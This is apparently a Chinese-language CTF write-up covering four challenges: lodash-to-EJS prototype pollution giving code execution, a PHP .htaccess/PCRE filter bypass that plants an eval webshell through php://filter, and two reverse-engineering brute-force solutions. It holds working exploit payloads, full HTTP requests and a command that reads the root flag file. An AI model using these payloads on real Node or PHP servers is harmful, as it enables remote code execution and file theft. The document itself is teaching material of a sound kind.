首先先看代码,稍微浏览一遍看看有什么奇怪的逻辑,一眼就能看出lodash.deepAssign
很奇怪。但lodash一般来说不会有啥漏洞出现,因此npm audit
一下看看是不是有洞。
于是,原型链污染get:https://nodesecurity.io/advisories/1065
那污染之后我们能干啥呢?那当然是RCE了。搜索了一下eval没搜到,那看看还有谁有动态拼接代码的就行了。这里用到了一个模板引擎ejs,它肯定有代码拼接;直接去看ejs源码。
随便划拉一下屏幕就发现了一大堆源码拼接,从中随便挑一个可以被污染的变量就好了。先看看哪些可能可以操作的,找找大量的xxx.yyy = xxx.yyy || DEFAULT
聚集的地方:
options.client = opts.client || false; options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML; options.compileDebug = opts.compileDebug !== false; options.debug = !!opts.debug; options.filename = opts.filename; options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER; options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER; options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER; options.strict = opts.strict || false; options.context = opts.context; options.cache = opts.cache || false; options.rmWhitespace = opts.rmWhitespace; options.root = opts.root; options.outputFunctionName = opts.outputFunctionName; options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME; options.views = opts.views; options.async = opts.async;
这些全都是可以通过原型链污染控制的,因此再随便翻翻代码找个自己喜欢的点就好。我觉得这个不错:
var escapeFn = opts.escapeFunction; // ...... if (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; if (opts.compileDebug) { src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src; } }
对于这个payload,将client
、escapeFn
污染即可RCE。构造出来的长这样:
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}
构造完以后再回头去看题目代码(?顺序不太对吧),组合一下利用链。所以直接打五次后访问首页即可get flag:
POST /add HTTP/1.1 Content-Length: 156 Accept: */* DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 x-forwarded-for: 127.0.0.1' Connection: close {"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}}
题目源码
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>
访问题目会立马删除同目录下除 index.php 以外的文件,传入的 $filename
、$content
被过滤后再通过 file_put_contents
写文件。可以正常上传 php 后缀的文件,但没有解析。打算从.user.ini
文件配置 auto_append_file
,进行文件包含,但由于 $content
处过滤了 file 关键字。
对于这些过滤,最简单的办法就是编码绕过,结合这里的 file_put_contents
,不难想到 P牛之前发过的 谈一谈php://filter的妙用,也就是对文件内容编码后再利用 php 伪协议进行解码写入,可惜 filename 还有一层过滤,只能传入字母和点,伪协议就没法用了,那就继续绕 preg_match
。
说来也巧,P牛还有一篇 PHP利用PCRE回溯次数限制绕过某些安全限制,但这种绕过方式并不适合这题。沿着这思路继续看下 PHP手册,发现 pcre.backtrack_limit
是 PHP_INI_ALL
,这意味着我们可以通过 .user.ini
对其进行修改。结合刚刚那篇文章,猜想这里的匹配 preg_match("/[^a-z\.]/)"
是不是也像这样[xxx]
的进行回溯。
尝试 ini_set('pcre.backtrack_limit', 0)
,发现真能绕过preg_match
,再结合 php://filter
,就可以在任意位置写入任意内容,并进行文件包含,本地成功打通。
一弄到比赛环境就不行了,这时候队里师傅说这种方式并不适用于 php7,检查了好一会也没发现为什么在 php7 中如此设置会失效,最后看到 php7 多了个配置选项 pcre.jit
,且这个配置默认为 1,于是尝试将 pcre.jit
设置成 0,成功。
这总算做完了吧?结果到了题目环境依旧不行,或许是某些原因导致环境中 .user.ini 并没有被解析,这时候就只有只能覆盖 .htaccess
了,但由于上传的文件内容会被额外添加一句"\nJust one chance"
,.htaccess
并没有 .user.ini
那么强的容错性,一旦格式错误就直接 500 了。在内容末尾加一个#aa\
就可以突破这种限制。
基本流程就理清楚了:
首先上传一个.htaccess
绕过 preg_match
,再使用 php://filter
把 auto_append_file
的配置写入,覆盖掉原先.htaccess
,马儿就到手了。
附带 payload
http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/?content=php_value%20pcre.backtrack_limit%200%0a%0dphp_value%20pcre.jit%200%0a%0d%0a%0d%23aa\&filename=.htaccess
下面这个打两次
http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/index.php?a=system(%27cat%20../../../root/flag.txt%27);exit;&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSNhYTw%2FcGhwIGV2YWwoJF9HRVRbJ2EnXSk7Pz5c%3C%3C&filename=php://filter/write=convert.base64-decode/resource=.htaccess
通过动态调试一步一步的调出flag
程序对每个字符的判断逻辑,只有这两种处理方式:
(这是爆破符合条件的代码
for(i = 0;i < 256;i++){ if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d ) putchar(i); } 其中0x871f,0x143,0x12c05d这三个的值会变化
for(i = 0;i < 256;i++){ if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6) putchar(i); }
flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pass}
(flag 连蒙带猜的,还好单词没有被替换成数字啥的
这是我调试时写的代码,(很乱
#include <stdio.h> int main(){ int i; // for(i = 0;i < 256;i++){ // if(i*0x7a9a-(i*i*0x133-i*i*i) == 0x104e08) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x7b67-(i*i*0x134-i*i*i) == 0x1076f4) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x97e5-(i*i*0x156-i*i*i) == 0x166ca4) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x98d4-(i*i*0x157-i*i*i) == 0x16a460) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x895c-(i*i*0x145-i*i*i) == 0x135420) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x888b-(i*i*0x144-i*i*i) == 0x132978) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5) // putchar(i); // } // flag{this_is_ // for(i = 0;i < 256;i++){ // if(i*0x7a3f-(i*i*0x133-i*i*i) == 0x102b8d) // putchar(i); // } // flag{this_is_a_ // for(i = 0;i < 256;i++){ // if(i*0x6b3f-(i*i*0x11f-i*i*i) == 0xd5ba1) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x767f-(i*i*0x12e -i*i*i) == 0xf7792) // putchar(i); // } // flag{this_is_a_na // for(i = 0;i < 256;i++){ // if(i*0x7e95-(i*i*0x138 -i*i*i) == 0x11185e) // putchar(i); // } // flag{this_is_a_nai // for(i = 0;i < 256;i++){ // if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6) // putchar(i); // } // flag{this_is_a_naiv // for(i = 0;i < 256;i++){ // if(i*0x8861-(i*i*0x144 -i*i*i) == 0x13183e) // putchar(i); // } // flag{this_is_a_naive_ // for(i = 0;i < 256;i++){ // if(i*0x7fd3-(i*i*0x13a -i*i*i) == 0x1146b2) // putchar(i); // } // flag{this_is_a_naive_b // for(i = 0;i < 256;i++){ // if(i*0x7083-(i*i*0x126 -i*i*i) == 0xe5916) // putchar(i); // } // flag{this_is_a_naive_bu // for(i = 0;i < 256;i++){ // if(i*0x7c93-(i*i*0x136 -i*i*i) == 0x109ef6) // putchar(i); // } // flag{this_is_a_naive_but // for(i = 0;i < 256;i++){ // if(i*0x8e36-(i*i*0x14b -i*i*i) == 0x144b88) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x8b7b-(i*i*0x148 -i*i*i) == 0x13ac7c) // putchar(i); // } // flag{this_is_a_naive_but_ // for(i = 0;i < 256;i++){ // if(i*0x80c4-(i*i*0x13b -i*i*i) == 0x117ce0) // putchar(i); // } // flag{this_is_a_naive_but_h // for(i = 0;i < 256;i++){ // if(i*0x71ff-(i*i*0x128 -i*i*i) == 0xe9f98) // putchar(i); // } // flag{this_is_a_naive_but_ha // for(i = 0;i < 256;i++){ // if(i*0x80ea-(i*i*0x13b -i*i*i) == 0x118c50) // putchar(i); // } // flag{this_is_a_naive_but_har // for(i = 0;i < 256;i++){ // if(i*0x7d9e -(i*i*0x137 -i*i*i) == 0x10df88) // putchar(i); // } // flag{this_is_a_naive_but_hard // for(i = 0;i < 256;i++){ // if(i*0x7bf2 -(i*i*0x135 -i*i*i) == 0x108678) // putchar(i); // } // flag{this_is_a_naive_but_hard_ // for(i = 0;i < 256;i++){ // if(i*0x79a9 -(i*i*0x132 -i*i*i) == 0x101724) // putchar(i); // } // flag{this_is_a_naive_but_hard_o // for(i = 0;i < 256;i++){ // if(i*0x780d -(i*i*0x130 -i*i*i) == 0xfc4c2) // putchar(i); // } // flag{this_is_a_naive_but_hard_ob // for(i = 0;i < 256;i++){ // if(i*0x7dc4 -(i*i*0x137 -i*i*i) == 0x10ee34) // putchar(i); // } // flag{this_is_a_naive_but_hard_obf // for(i = 0;i < 256;i++){ // if(i*0x8274 -(i*i*0x13d -i*i*i) == 0x11d87c) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_ // for(i = 0;i < 256;i++){ // if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_p // for(i = 0;i < 256;i++){ // if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_pr // for(i = 0;i < 256;i++){ // if(i*0x85be -(i*i*0x141 -i*i*i) == 0x128220) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_pro // for(i = 0;i < 256;i++){ // if(i*0x93de -(i*i*0x151 -i*i*i) == 0x15a020) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program // for(i = 0;i < 256;i++){ // if(i*0x8509 -(i*i*320 -i*i*i) == 0x12644a) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x75bf -(i*i*0x12d -i*i*i) == 0xf5393) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_c // for(i = 0;i < 256;i++){ // if(i*0x7757 -(i*i*0x12f -i*i*i) == 0xfa479) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_co // for(i = 0;i < 256;i++){ // if(i*0x78db -(i*i*0x131 -i*i*i) == 0xfedf3) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x8457 -(i*i*0x13f -i*i*i) == 0x1246e9) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compi // for(i = 0;i < 256;i++){ // if(i*0x8f83 -(i*i*0x14c -i*i*i) == 0x14ad50) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x8a55 -(i*i*0x146 -i*i*i) == 0x138f30) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compile // for(i = 0;i < 256;i++){ // if(i*0x897c -(i*i*0x145 -i*i*i) == 0x136140) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compiled // for(i = 0;i < 256;i++){ // if(i*0x7c40 -(i*i*0x135 -i*i*i) == 0x10a4f0) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_ // for(i = 0;i < 256;i++){ // if(i*0x720b -(i*i*0x128 -i*i*i) == 0xea40c) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_b // for(i = 0;i < 256;i++){ // if(i*0x6fc2 -(i*i*0x125 -i*i*i) == 0xe34b8) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_ // for(i = 0;i < 256;i++){ // if(i*0x7f97 -(i*i*0x13a -i*i*i) == 0x11306e) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm // for(i = 0;i < 256;i++){ // if(i*0x8807 -(i*i*0x144-i*i*i) == 0x12f174) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x867b -(i*i*0x142-i*i*i) == 0x12a502) // putchar(i); // } // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pas // for(i = 0;i < 256;i++){ // if(i*0x81b3 -(i*i*0x13c-i*i*i) == 0x11b250) // putchar(i); // } // for(i = 0;i < 256;i++){ // if(i*0x77ff -(i*i*0x130-i*i*i) == 0xfbf90) // putchar(i); // } for(i = 0;i < 256;i++){ if(i*0x8853 -(i*i*0x144-i*i*i) == 0x131050) putchar(i); } puts(""); return 0; }
跳过游戏部分, 判断逻辑是这样,
# while ( *(&ConsoleCursorInfo[0].dwSize + idx_v17) == ((v11 >> v19) ^ (Dst[idx_v17] - '0')) ) # { # v19 += 8; # ++idx_v17; # if ( v19 >= 32 ) ida_chars = [0x16, 0xE4, 0xB3, 0xBD] v11 = 0xA991E504 flag = "" v11 = [0x04, 0xe5, 0x91, 0xa9] for i in range(len(ida_chars)): flag += chr((ida_chars[i] ^ (v11[i])) + 0x30) print(flag)
flag 前 4 个: flag{B1RD.....
if ( v12 ) { v16 = &v37; while ( 1 ) { v17 = *v16++; if ( v17 != v12 % 2 + 48 ) break; v12 /= 2; if ( !v12 ) goto LABEL_20; } }
只要知道 v12 是多少就行了,v12 是我们的 score,爆破就好了。最后脚本:
#include<stdio.h> #include<string.h> int main(){ int win_count; for(win_count = 1;win_count != 0xffffffff;win_count++){ float t = ((float)win_count)*0.5; int bvisible = *(int*)(&t); t = (float)win_count; int dwCursorPosition = 0x5F3759DF-((*(int*)(&t))>>1); int res = (int) ( ((((((1.5-((*(float*)(&dwCursorPosition))*(*((float*)&bvisible)))*(*(float*)(&dwCursorPosition)))*(*(float*)(&dwCursorPosition))) * 100000000.0) * 10.0) + 5.0) / 10.0) ); if(res == 0x436AE){ printf("find! res is %d\n",win_count); break; } } return 0; }
最后的 v12 = 0x20002,flag 为 flag{B1RD010000000000000001}